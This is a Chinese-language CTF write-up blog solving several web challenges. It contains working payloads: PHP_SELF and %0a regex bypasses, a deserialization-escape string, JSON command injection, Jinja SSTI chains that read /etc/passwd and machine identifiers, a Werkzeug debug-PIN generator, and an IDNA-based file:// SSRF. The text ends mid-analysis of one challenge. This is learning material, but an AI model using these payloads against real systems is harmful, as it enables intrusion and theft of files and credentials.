why

疯疯癫癫的小辣鸡

image-20240524204834081

主要是几个函数不认得

basename

random_bytes

hash_equals

一个个查一下

basename

image-20240524204859064

random_bytes

image-20240524210052173

这个就是随机生成字符串

hash_equals

image-20240524210034240

这个就是比较两个字符串是否相等

但是后面的好像没什么用吧

因为返回的flag都不知道是什么…

所以看看之前的

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

也就是说查询的网址不能有config.php

还一定要传一个source上去

所以要找一找就是这么绕过一下

在这里,就是正则匹配

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
echo "匹配尾部"."<br>";
}
if (preg_match('/config\.php\//i', $_SERVER['PHP_SELF'])) {
echo "匹配字符串"."<br>";
}

所以前者,如果在末尾加上一个没用的字符不就可以绕过了?

找到了!!!%ff

经过测试%aa到%ff都可以用,之后就不行了

这个是因为,basename函数会过滤文件开头中的非ascii值

嘻嘻,如果是%ff之后的就不是ascii码可以识别的了

所以最后的payload:

/index.php/config.php/%ff?source

为什么一定前面要加index,我不太懂,有大佬可以说说不

image-20240523213604915

查看源码发现第一关的相关

补充:

substr_count函数

计算字符串出现的次数。%5f就是”_”的十六进制。

也就是,不能出现下划线的同时,我们要上传23333的同时不能上传23333

你在干什么?,

所以我们使用url编码代替下划线(%20)

再通过%0a构造23333%0a去绕过preg

tips:preg函数忽略行尾的%0a,但是%0a仍然可以发挥效果。

?b%20u%20p%20t=23333%0a

image-20240523214407871

好耶!

那就前往这个网址吧!!

image-20240524191543641

不能进入,要使用本地,我第一个想法就是xff

抓包试试

image-20240524192052256

但是吧,还有一个

Client-Ip:127.0.0.1

试试

有反应了,但不多,我们也可以看到在回显的底下有一串奇奇怪怪的东西

image-20240524192227680

啊?

这是啥?

去查一下

是js代码!!!

震惊!!!!

所以找一个跑js代码的网站试试

image-20240524194114123

所以还要传一个merak上去?

试试

image-20240524194706602

OK了老铁!!!

image-20240524194806704

这里也就是一个绕过,一个是2333,一个是file

首先先看2333

读取文件,对比文件中是否含有那串字符串?

所以这里要使用data伪协议读取file

2333=data://text/plain,todat+is+a+happy+day

之后就是file

主要是前面的change函数,将每个字符都加上i*2

所以,我们直接就是写一个脚本

//逆向代码
<?php
$v="flag.php";
$re='';
for($i=0;$i<strlen($v);$i++)
{
$re.=chr(ord($v[$i])-$i*2);
}
$v1=base64_encode($re);
echo $v1;
?>

先把它就是先减一个i*2就行了

flag=ZmpdYSZmXGI=

将这两个一起使用get传上去就好了

但是要注意一点,就是说,要把之前传的post删掉或者直接关掉,否则程序会直接停止。

拿到flag

image-20240523191332318

好耶!!!

可爱猫猫,有可爱猫猫的题能有什么坏心思(希望)

尝试几个sql注入无果

开始信息搜集

我习惯先用www.zip和robots.txt试一试,不行再用扫描工具(不知道习惯好还是不好。。。)

然后发现www.zip是可以的,所以,我们下载到了源码

image-20240523193909317

怎么办

都打开看看,然后进入难过的代码审计时间

最后发现了唯一一个读文件的地方

image-20240523193937737

在photo这里

所以我们要想办法就是读取我们想要的文件

即config.php

image-20240523194555497

之后我们还可以看到profile有一个发序列化,所以,我们的思路就应该是构造序列化,最后我们能读到文件。

所以怎么看呢?

先试试正常注册吧

最后注册登录之后进入了update.php

image-20240523202132736

所以,我们是不能用photo传什么xxx.php啥的

所以,我们应该是就是在nickname那里进行注入

所以

结合之前我们发现的序列化和反序列化

我们猜测这是一道反序列化逃逸的题!!!

好抽象,这道题,要判断nickname是数组…好魔鬼,所以

nickname的序列化会变成

public nickname="abc"

s:8:"nickname";a:1:{i:0;s:3:"abc"}

所以这道题的思路就是通过上传的nickname伪造一个

s:5:"photo";s:10:"config.php"

所以,先随便试试

nickname="xxx";}s:5:"photo",s:10:"config.php";}

尝试一下

对了,差点忘记,我们要逃逸的字符串为

";}s:5:"photo",s:10:"config.php";}

对吧,这里是34个字符

所以,我们还要想办法让这34个字符变成合法的

也就说序列化之后我们要把

nickname="xxx";}s:5:"photo",s:10:"config.php";}

这一串代码的被认知长度加长34个字符串,怎么办呢

image-20240523205907814

这个时候我就发现了这个,所以就是说,如果我们输入where,它会被当做hacker,也就是说多出了一个字符!!!

所以这里的xxx用34个where代替

nickname="wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo",s:10:"config.php";}

好耶!

最后就是传上去之后抓包

将nickname改为数组上传形式

像是这样

image-20240523212949825

之后我们就可以进入主页,查看源代码,发现一串base64字符串,解码得到flag

PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2ViYmQ4YTJkLTc3YjktNGFiNy1hM2IxLTUyMjk3ZGQwY2Y3NX0nOwo/Pgo=

image-20240521153716253

这道题最离谱的一点就是

你看上去给了你一个输入框,但是不能用这个!!!

这道题其实不难

提示也给了你

就是说我们要通过json模式上传payload去读文件

基本上就是{“a”:”b”}的一个形式,所以我们要试试就是说读文件之类的

先随便上传一个发现参数cmd

所以构造

{"cmd":"ls"}

找到index.php

所以我们尝试一下

{"cmd":"cat index.php"}

但是发现不太行

经过筛查,发现是不能使用 “.”

所以,我们尝试一下绕过

{%0a"cmd":"/bin/cat index.php"%0a}

这里为什么使用%0a是因为我觉得大概率使用的是正则匹配的函数过滤,preg_match只匹配第一行,所以可以绕过。

在接下来,为啥要在cat前面加/bin/

Linux中使用命令的绝对路径是指在命令的名称前加上完整路径来执行命令。在Linux系统中,命令存放在特定的目录中,当我们输入命令时,系统会在这些目录中查找对应的可执行文件。

1. /bin目录:包含了系统启动和维护所需要的最基本的命令,如ls、cp、mv等。

2. /sbin目录:包含了一些只有管理员才能执行的系统管理命令,如ifconfig、fdisk等。

3. /usr/bin目录:包含了系统普通用户使用的命令,如clear、grep、wget等。

4. /usr/sbin目录:包含了一些管理员级别的系统管理命令,如systemctl、useradd等。

当我们使用命令时,系统会按照特定的顺序在这些目录中查找命令可执行文件。如果想要使用命令的绝对路径,可以使用以下方法:

1. 使用绝对路径:直接在命令的名称前加上路径,如`/bin/ls`、`/usr/bin/grep`等。

2. 使用 which 命令:which 命令可以帮助我们查找命令所在的路径。例如,`which ls`可以输出`/bin/ls`。

3. 使用 whereis 命令:whereis 命令可以在系统中查找二进制、源码和帮助文档的路径。例如,`whereis gcc`可以输出`/usr/bin/gcc`。

4. 使用 find 命令:find 命令可以在指定路径下递归地搜索文件。例如,`find / -name ls`可以搜索整个系统中名为 ls 的文件。

需要注意的是,使用绝对路径来执行命令时,需要保证相应的命令存在于指定的路径中,并且具有可执行权限。

总结:在Linux中,使用命令的绝对路径是一种直接指定命令所在路径的方式,可以帮助我们准确执行命令,避免因为系统的环境变量设置不正确而导致命令无法执行的问题。同时,熟悉常用命令的绝对路径也有助于我们更好地理解和掌握Linux系统的文件结构和组织方式。

引用文章链接:https://worktile.com/kb/ask/487669.html

这是因为在直接使用之后发现cat没有用了,所以我们使用绝对路径对cat进行尝试。

之后我们就可以拿到源码

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

看到了很多过滤的东西,但是我们都没用到(否则也看不到这玩意)

查找一下putenv是啥意思

GETENV/PUTENV

getenv 取得系统的环境变量\
string getenv( string varname ) 参数 varname 应该是$_SERVER(服务器超级全局变量数组)
中预订的元素索引名, 或者是用putenv('new = very new') 定义一下new 为环境变量,所以new作为参数将得值verynew
返回值:字符串
函数种类:PHP 系统功能
内容说明:若正确取得环境变量 varname,则返回变量值。失败则返回 false。
使用范例
下例可以取得用户浏览器所在机器的网址

<?php
$ip = getenv(“REMOTE_ADDR”);
?>
$_SERVER是服务器超级全局变量数组 用$_SERVER['REMOTE_ADDR']同样可以获取到客户端的IP地址。
二者的区别在于,getenv不支持IIS的isapi方式运行的php
putenv 配置系统环境变量
putenv()
返回值:无
函数种类:PHP 系统功能
内容说明:本函数用来配置系统环境变量。
使用范例:
配置 Oracle 数据库需使用的环境变量 NLS_LANG,返回资料含中文 BIG5 码。
<?
putenv("NLS_LANG=american_taiwan.zht16big5");
?>
php服务器变量 $_SERVER 详解:
1、$_SERVER['PHP_SELF'] -- 获取当前正在执行脚本的文件名。如:/PHP/SourceCode/08/04/Untitled-1.php
2、$_SERVER['SERVER_PROTOCOL'] -- 请求页面时通信协议的名称和版本。例如,“HTTP/1.0”。
3、$_SERVER['REQUEST_TIME'] -- 请求开始时的时间戳。从 PHP 5.1.0 起有效。和time函数效果一样。
4、$_SERVER['argv'] -- 传递给该脚本的参数。
5、$_SERVER['SERVER_NAME'] -- 返回当前主机名。如:http://blog.sina.com.cn
6、$_SERVER['SERVER_SOFTWARE'] -- 服务器标识的字串,在响应请求时的头信息中给出。 如Microsoft-IIS/6.0
7、$_SERVER['REQUEST_METHOD'] -- 访问页面时的请求方法。例如:“GET”、“HEAD”、“POST”、 “PUT”。
8、$_SERVER['QUERY_STRING'] -- 查询(query)的字符串(URL 中第一个问号 ? 之后的内容)。
9、$_SERVER['DOCUMENT_ROOT'] -- 当前运行脚本所在的文档根目录。在服务器配置文件中定义。 如E:\server
10、$_SERVER['HTTP_ACCEPT'] -- 当前请求的 Accept: 头信息的内容。
11、$_SERVER['HTTP_ACCEPT_CHARSET'] -- 当前请求的 Accept-Charset: 头信息的内容。例如:“iso-8859-1,*,utf-8”。
12、$_SERVER['HTTP_ACCEPT_ENCODING'] -- 当前请求的 Accept-Encoding: 头信息的内容。例如:“gzip”。
13、$_SERVER['HTTP_ACCEPT_LANGUAGE'] -- 当前请求的 Accept-Language: 头信息的内容。例如:“en”。
14、$_SERVER['HTTP_CONNECTION'] -- 当前请求的 Connection: 头信息的内容。例如:“Keep-Alive”。
15、$_SERVER['HTTP_HOST'] -- 当前请求的 Host: 头信息的内容。如:192.168.2.53:8888
16、$_SERVER['HTTP_REFERER'] -- 链接到当前页面的前一页面的 URL 地址。
17、$_SERVER['HTTP_USER_AGENT'] -- 返回用户使用的浏览器信息。也可以使用 get_browser() 得到此信息。
18、$_SERVER['HTTPS'] -- 如果通过https访问,则被设为一个非空的值,否则返回off.
19、$_SERVER['REMOTE_ADDR'] -- 正在浏览当前页面用户的 IP 地址。
20、$_SERVER['REMOTE_HOST'] -- 正在浏览当前页面用户的主机名。反向域名解析基于该用户的 REMOTE_ADDR。如本地测试返回127.0.0.1
21、$_SERVER['REMOTE_PORT'] -- 用户连接到服务器时所使用的端口。我在本机测试没通过,不知道什么原因。
22、$_SERVER['SCRIPT_FILENAME'] -- 当前执行脚本的绝对路径名。如返回E:\server\index.php
23、$_SERVER['SERVER_ADMIN'] -- 该值指明了 Apache 服务器配置文件中的 SERVER_ADMIN 参数。如果脚本运行在一个虚拟主机上,则该值是那个虚拟主机的值
24、$_SERVER['SERVER_PORT'] -- 服务器所使用的端口。默认为“80”。如果使用 SSL 安全连接,则这个值为用户设置的 HTTP 端口。
25、$_SERVER['SERVER_SIGNATURE'] -- 包含服务器版本和虚拟主机名的字符串。
26、$_SERVER['PATH_TRANSLATED'] -- 当前脚本所在文件系统(不是文档根目录)的基本路径。这是在服务器进行虚拟到真实路径的映像后的结果。 Apache 2 用 户可以使用 httpd.conf 中的 AcceptPathInfo On 来定义 PATH_INFO。
27、$_SERVER['SCRIPT_NAME'] -- 包含当前脚本的路径。这在页面需要指向自己时非常有用。__FILE__ 包含当前文件的绝对路径和文件名(例如包含文件)。
28、$_SERVER['REQUEST_URI'] -- 访问此页面所需的 URI。例如,“/index.html”。
29、$_SERVER['PHP_AUTH_DIGEST'] -- 当作为 Apache 模块运行时,进行 HTTP Digest 认证的过程中,此变量被设置成客户端发送的“Authorization”HTTP 头内容(以便作进一步的认证操作)。
30、$_SERVER['PHP_AUTH_USER'] -- 当 PHP 运行在 Apache 或 IIS(PHP 5 是 ISAPI)模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的用户名。
31、$_SERVER['PHP_AUTH_PW'] -- 当 PHP 运行在 Apache 或 IIS(PHP 5 是 ISAPI)模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的密码。
32、$_SERVER['AUTH_TYPE'] -- 当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是认证的类型。

文章链接:https://www.cnblogs.com/JdsyJ/p/8554180.html

在这道题中就是,我们的要的文件在哪?

所以,我们直接

{%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}

拿到flag

进去先随便输入点东西

在解密界面发现输入1报错了

看看这么个事

image-20240521142754408

在py语句框最右边发现一个小按钮

然后就看到了

![image-20240520221242710](C:\Users\汪涵裕\Pictures\Screenshots\屏幕截图 2024-05-20 214631.png)

所以我们要找到PIN码,多好

PIN码

- 服务器运行flask所登录的用户名。通过`/etc/passwd`中可以猜测为flaskweb或者root,此处用的flaskweb
- modname。一般不变就是flask.app
- getattr(app, “**name**”, app.**class**.**name**)。python该值一般为Flask,该值一般不变
- flask库下app.py的绝对路径。`报错信息`会泄露该值。题中为/usr/local/lib/python3.7/site-packages/flask/app.py
- 当前网络的mac地址的十进制数。通过文件`/sys/class/net/eth0/address`获取(eth0为网卡名),本题为1e:eb:d7:36:97:1e,转换后为756572715513436
- 机器的id:对于非docker机每一个机器都会有自已唯一的`id`
- Linux:/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件
docker:/proc/self/cgroup

第一步:

{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}

先加密在解密

结果 : root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin flaskweb:x:1000:1000::/home/flaskweb:/bin/sh

所以猜测是flaskweb

第二步、第三步是固定值先跳过

第四步

这个可以在报错页面看到

/usr/local/lib/python3.7/site-packages/flask/app.py

第五步

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}

和第一步一样先编码再解码

得到96:b2:87:41:04:53

转成十进制165693517530195

之后就是第六步,得到id

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/machine-id,'r').read() }}{% endif %}{% endfor %}
结果 : 11:cpu,cpuacct:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-poda0f1c668_d293_401e_8548_aa31ef31d184.slice/cri-containerd-6799167976c5b4901d4e8bd4349c7c359a1f79a05181f85002dec5f943ab4665.scope 10:devices:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-poda0f1c668_d293_401e_8548_aa31ef31d184.slice/cri-containerd-6799167976c5b4901d4e8bd4349c7c359a1f79a05181f85002dec5f943ab4665.scope 9:blkio:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-poda0f1c668_d293_401e_8548_aa31ef31d184.slice/cri-containerd-6799167976c5b4901d4e8bd4349c7c359a1f79a05181f85002dec5f943ab4665.scope 8:memory:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-poda0f1c668_d293_401e_8548_aa31ef31d184.slice/cri-containerd-6799167976c5b4901d4e8bd4349c7c359a1f79a05181f85002dec5f943ab4665.scope 7:net_cls,net_prio:/ 6:hugetlb:/ 5:pids:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-poda0f1c668_d293_401e_8548_aa31ef31d184.slice/cri-containerd-6799167976c5b4901d4e8bd4349c7c359a1f79a05181f85002dec5f943ab4665.scope 4:perf_event:/ 3:freezer:/ 2:cpuset:/ 1:name=systemd:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-poda0f1c668_d293_401e_8548_aa31ef31d184.slice/cri-containerd-6799167976c5b4901d4e8bd4349c7c359a1f79a05181f85002dec5f943ab4665.scope 0::/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-poda0f1c668_d293_401e_8548_aa31ef31d184.slice/cri-containerd-6799167976c5b4901d4e8bd4349c7c359a1f79a05181f85002dec5f943ab4665.scope

猜测为6799167976c5b4901d4e8bd4349c7c359a1f79a05181f85002dec5f943ab4665

所以写脚本得到pin码

import hashlib

from itertools import chain



probably_public_bits = [

'flaskweb',#服务器运行flask所登录的用户名

'flask.app',#modname

'Flask',#getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)

'/usr/local/lib/python3.7/site-packages/flask/app.py',#flask库下app.py的绝对路径

]



private_bits = [

'85884687119731',#当前网络的mac地址的十进制数

'0b0430c98fa5194b90f0e7bc035502b299531fcf58e02a4cb8611ed3369bfb9c'#机器的id

]



h = hashlib.md5()

for bit in chain(probably_public_bits, private_bits):

if not bit:

continue

if isinstance(bit, str):

bit = bit.encode('utf-8')

h.update(bit)

h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None

if num is None:

h.update(b'pinsalt')

num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None

if rv is None:

for group_size in 5, 4, 3:

if len(num) % group_size == 0:

rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')

for x in range(0, len(num), group_size))

break

else:

rv = num

print(rv)

得到PIN码235-415-601(但是还是做不出来啊!)

这一个方法只能放一放了

看看大佬们怎么说

不管pin,直接读取app.py

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

得到app.py的源码,发现waf

def waf(str):
black_list = [&#34;flag&#34;,&#34;os&#34;,&#34;system&#34;,&#34;popen&#34;,&#34;import&#34;,&#34;eval&#34;,&#34;chr&#34;,&#34;request&#34;,
&#34;subprocess&#34;,&#34;commands&#34;,&#34;socket&#34;,&#34;hex&#34;,&#34;base64&#34;,&#34;*&#34;,&#34;?&#34;]
for x in black_list :
if x in str.lower() :
return 1

过滤了flag\os\system等

利用字符串拼接读找目录

{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}


发现了this_is_the_flag.txt文件,稳了!!!

再读flag

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

得到flag!!!

大佬不愧是大佬,让我自习端详一番

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
//也就是host不能为suctf.cc
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
//也是不能为suctf.cc
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
//但是最后又要是suctf.cc
</code>
<!-- Dont worry about the suctf.cc. Go on! -->
<!-- Do you know the nginx? -->

所以就有一个问题是,为什么前面过滤完之后还可以通过。

所以一定是这一串有问题

newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)

好好好

看到了一个编码h.encode(‘idna’)

查询之后

IDNA

国际化域名(Internationalized Domain Name,IDN)又名特殊字符域名,是指部分或完全使用特殊文字或字母组成的互联网域名,包括中文、发育、阿拉伯语、希伯来语或拉丁字母等非英文字母,这些文字经过多字节万国码编码而成。在域名系统中,国际化域名使用punycode转写并以ASCII字符串存储。

℆这个字符,如果使用python3进行idna编码的话

print('℆'.encode('idna'))

结果

b'c/u'

如果再使用utf-8进行解码的话

print(b'c/u'.decode('utf-8'))

结果

c/u

Nginx重要配置文件

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

我们尝试输入suctf.cc

发现直接给我干到最后一个去了

所以,我觉得应该不止传这个上去吧

特别是看到

image-20240520202824145

这应该是要传一个网址上去吧

所以看到了之前的配置文件

有一个大胆的想法

suctf.cc/usr/local/nginx/conf/nginx.conf

这个怎么样?

也不行,试试用伪协议读一读

读文件就用file:了

image-20240520203111941

终于是111了

之前一直是333来着

所以读取方式应该是对的

所以要后面不出现suctf.cc

再结合之前提到的idna

创造payload:

file://suctf.c℆sr/local/nginx/conf/nginx.conf

image-20240520203239417

拿到了flag的文件位置!!!

file://suctf.c℆sr/fffffflag

访问得到flag

嘻嘻

但是说实话看到代码是懵的,不能害怕这么多代码!!!

接下来是对几个函数的理解问题

urlparse与urlsplit

下面是我看的博客里举的例子:

scheme://username:password@hostname:port/path;params?query#fragment

各参数意义如下:

scheme: 协议
username:password:表示用于认证的账号和密码,但是一般不会使用
hostname: 主机(IP/域名)
port: 端口
path: 路径
params: 参数(以;分割)
query: 查询(以&分割)
fragment: 锚点,或者说位置,用于网页定位

然后呢,这两个函数就是把这些一个个都分开来的函数

但是后者不会有params就是了

LIST

list()函数是Python的内置函数。它可以将任何可迭代数据转换为列表类型,并返回转换后的列表。当参数为空时,list函数可以创建一个空列表。

也就是,会把能搞成数组的东西都搞成数组!!!

#! /usr/bin/env python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip): #是一个简单的赋值函数
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #如果没有该文件夹,则创立一个文件夹
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w') #注意w,可以对result.txt文件进行修改
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp) #这个将resp中的数据写入result.txt中,可以利用为将flag.txt中的数据放进result.txt中
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r') #打开方式为只读
result['code'] = 200
result['data'] = f.read() #读取result.txt中的数据
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST']) #注意这个绑定,接下来的几个函数都很重要,这个相当于c语言里面的主函数,接下来是调用其他函数的过程
def challenge():
action = urllib.unquote(request.cookies.get("action")) #cookie传递action参数,对应不同的处理方式
param = urllib.unquote(request.args.get("param", "")) #传递get方式的参数param
sign = urllib.unquote(request.cookies.get("sign")) #cookie传递sign参数sign
ip = request.remote_addr #获取请求端的ip地址
if(waf(param)): #调用waf函数进行过滤
return "No Hacker!!!!"
task = Task(action, param, sign, ip) #创建Task类对象
return json.dumps(task.Exec()) #以json的形式返回到客户端

@app.route('/')
def index():
return open("code.txt","r").read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50] #这个可以利用为访问flag.txt。读取然后为下一步将flag.txt文件中的东西放到result.txt中做铺垫
except:
return "Connection Timeout"

def getSign(action, param): #getSign的作用是拼接secret_key,param,action,然后返回拼接后的字符串的md5加密值
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content): #将传入的字符串进行md5加密
return hashlib.md5(content).hexdigest()

def waf(param): #防火墙的作用是判断开头的几个字母是否是gopher 或者是file 如果是的话,返回true
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=9999)

flask框架啊,啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

慢慢看吧

跟着网上的教程看,小白还是不要逞强了

这道题三个路由

@app.route(“/geneSign”, methods=[‘GET’, ‘POST’])
@app.route(‘/De1ta’,methods=[‘GET’,’POST’])
@app.route(‘/‘)

首先先是delta,因为它最多、

@app.route('/De1ta',methods=['GET','POST'])		#注意这个绑定,接下来的几个函数都很重要,这个相当于c语言里面的主函数,接下来是调用其他函数的过程
def challenge():
action = urllib.unquote(request.cookies.get("action")) #cookie传递action参数,对应不同的处理方式
param = urllib.unquote(request.args.get("param", "")) #传递get方式的参数param
sign = urllib.unquote(request.cookies.get("sign")) #cookie传递sign参数sign
ip = request.remote_addr #获取请求端的ip地址
if(waf(param)): #调用waf函数进行过滤
return "No Hacker!!!!"
task = Task(action, param, sign, ip) #创建Task类对象
return json.dumps(task.Exec()) #以json的形式返回到客户端

所以说,我们要用get方式传param

在cookie传递sign和action

同时要经过waf的过滤

所以我们去看看waf

def waf(param):						#防火墙的作用是判断开头的几个字母是否是gopher 或者是file  如果是的话,返回true
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

所以,我们这里不能使用gopher和file开头的

之后我们再回去看看

task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

发现,要创建一个task对象,并且执行exec方法

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w') #注意w,可以对result.txt文件进行修改
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp) #这个将resp中的数据写入result.txt中,可以利用为将flag.txt中的数据放进result.txt中
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r') #打开方式为只读
result['code'] = 200
result['data'] = f.read() #读取result.txt中的数据
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

显示通过checkSign方法检测登录

所以先去看看checkSign看看这么个事

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

如果if成真就返回true,所以我们看看getSign这么个事

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

所以就是一个MD5

之后的步骤就断了

所以往后看看geneSign

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

这个也是调用了getsign函数

同时是使用了scan

再回到check那个函数

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w') #注意w,可以对result.txt文件进行修改
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp) #这个将resp中的数据写入result.txt中,可以利用为将flag.txt中的数据放进result.txt中
tmpfile.close()
result['code'] = 200
if "read" in self.action:
